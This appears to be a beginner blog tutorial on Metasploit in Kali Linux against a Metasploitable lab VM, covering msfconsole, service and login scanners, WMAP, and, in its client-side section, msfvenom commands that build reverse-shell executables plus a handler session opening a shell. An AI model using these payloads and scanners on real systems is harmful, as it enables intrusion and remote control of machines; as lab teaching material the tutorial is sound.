In this new series, we are going to explore useful penetration testing utilities from Kali Linux. The main tool (or set of tools) any pen-tester or ethical hacker should know is Metasploit Framework.

Table of Contents

Introduction

Metasploit Framework is a collection of exploits and tools you can use directly or customize to create your own utilities. Always use the tools against servers you have permission to work with.

Metasploit Unleashed

This tutorial is a simple beginners guide. There is a great guide on https://www.offensive-security.com/metasploit-unleashed/.

Create a “victim” virtual machine

You can download a “Metasploitable” virtual machine at https://sourceforge.net/projects/metasploitable/files/Metasploitable2/. After unzipped the file, you can just create a new VM in your VM Manager (VMWare, VirtualBox) and add the vmdk file as a disk file. Do not expose this VM to an untrusted network (keep NAT network configuration in VM settings).

The user and password of this VM is “msfadmin”.

Note: in VirtualBox you may need to create a new NAT network in order to get different IPs to your Kali VM and victim’s VM. I haven’t checked other VM managers.

msfconsole

You main tool to work with Metasploit Framework is the msfconsole command. Just type msfconsole in your Kali Linux machine.

msfconsole launch banner

These are some useful commands:

  • help: listing of available commands.
  • search <search term>: search through Metasploit modules. You can refine your search with keywords like name: and type: (check help search for more info).
    msf6 > search name:mysql type:exploit
    
    Matching Modules
    ================
    
     #  Name                                           Disclosure Date  Rank       Check  Description
     -  ----                                           ---------------  ----       -----  -----------
     0  exploit/linux/mysql/mysql_yassl_getname        2010-01-25       good       No     MySQL yaSSL CertDecoder::GetName Buffer Overflow
    ...
    
  • show auxiliary|exploits|payloads|options|targets|advanced|encoders|nops: display available exploits, auxiliary modules, etc. The options, targets and advanced work inside a module context.
  • set <name> <value>: configure options and parameters for the current module you are working on.
  • use <module>: select a module. You can use tab completion.
  • run or exploit: inside a module, it will run it.
  • exit: exit from msfconsole.

Modules and utilities

As we say before, you can select a module with use <module name>. Then, you can type show options to see all available options.

Information gathering

Port scanning

nmap is the most popular port scanning app. You can run it inside msfconsole. If you run nmap against our metasploitable VM, it will show a lot of open ports.

nmap

Service identification

Select auxiliary/scanner/ssh/sh_version module, set RHOSTS to your target IP and run the module (with run or exploit).

msf6 > use auxiliary/scanner/ssh/ssh_version
msf6 auxiliary(scanner/ssh/ssh_version) > set RHOSTS 10.0.2.4
msf6 auxiliary(scanner/ssh/ssh_version) > exploit
  • You can change SSH port with set RPORT <port number>.

There is a similar scanner module for FTP (auxiliary/scanner/ftp/ftp_version), and a lot of scanner modules for several services.

Vulnerability scanning

SMB Login

This scanner utility test a username / password SMB login combination against a range of hosts.

msf6 > use scanner/smb/smb_login
msf6 auxiliary(scanner/smb/smb_login) > set RHOSTS 10.0.2.0/24
RHOSTS => 10.0.2.0/24
msf6 auxiliary(scanner/smb/smb_login) > set SMBUser msfadmin
SMBUser => msfadmin
msf6 auxiliary(scanner/smb/smb_login) > set SMBPass msfadmin
SMBPass => msfadmin
msf6 auxiliary(scanner/smb/smb_login) > run

VNC without password

Check if a host or range of hosts have a VNC server without a password configured.

msf6 > use auxiliary/scanner/vnc/vnc_none_auth
msf6 auxiliary(scanner/vnc/vnc_none_auth) > set RHOSTS 10.0.2.4
RHOSTS => 10.0.2.4
msf6 auxiliary(scanner/vnc/vnc_none_auth) > run
[+] 10.0.2.4:5900         - 10.0.2.4:5900 - VNC server protocol version: [3, 4].3
[*] 10.0.2.4:5900         - 10.0.2.4:5900 - VNC server security types supported: VNC
[*] 10.0.2.4:5900         - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
  • If it displays: VNC server security types supported: None, free access!, that VNC server does not have a password.

WMAP Web Scanner

wmap checks for possible vulnerabilities of a website. In order to run this tool, you must load it, add a site and add that site as a target.

msf6 > load wmap
  • If it displays a database error, check if Metasploit database is connected with db_status. If not, exit msfconsole and type msfdb init.
.-.-.-..-.-.-..---..---.
| | | || | | || | || |-'
`-----'`-'-'-'`-^-'`-'
[WMAP 1.5.1] ===  et [  ] metasploit.com 2012
[*] Successfully loaded plugin: wmap
msf6 > wmap_sites -a http://10.0.2.4
[*] Site created.
msf6 > wmap_targets -t http://10.0.2.4
msf6 > wmap_run -e

After the scanning, you can type wmap_vulns -l to see all vulnerabilities.

Client side attacks

Binary payloads

msfvenom can generate an executable with a payload (exploit module) on it, so a victim can click on the file and create a connection with the attacker. This tool works outside msfconsole.

msfvenom -a <platform> --platform windows|linux -p <module> <module "set" options> -b "\x00" -f <format> -o <output path>
  • Check msfvenom -h for all available parameters.

Some examples:

msfvenom -a x86 --platform linux -p linux/x86/shell/reverse_tcp LHOST=10.0.2.15 LPORT=443 -b "\x00" -f elf -o /tmp/evilfile
msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=10.0.2.15 LPORT=31337 -b "\x00" -e x86/shikata_ga_nai -f exe -o /tmp/evilfile.exe

After creating the executable, you need to run the multi/handler exploit inside msfconsole to receive the connection (using same parameters). When the target clicks the file, you will be able to connect to his shell.

# Using linux example
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload linux/x86/shell/reverse_tcp
payload => linux/x86/shell/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 10.0.2.15
LHOST => 10.0.2.15
msf6 exploit(multi/handler) > set LPORT 443
LPORT => 443
msf6 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 10.0.2.15:443 
[*] Sending stage (36 bytes) to 10.0.2.4
[*] Command shell session 1 opened (10.0.2.15:443 -> 10.0.2.4:45206 ) at 2022-01-25 06:44:10 -0500

ls
evilfile
vulnerable

More modules and utilities

As I say, this is only a beginners guide, check “Metasploit Unleashed” guide for more info.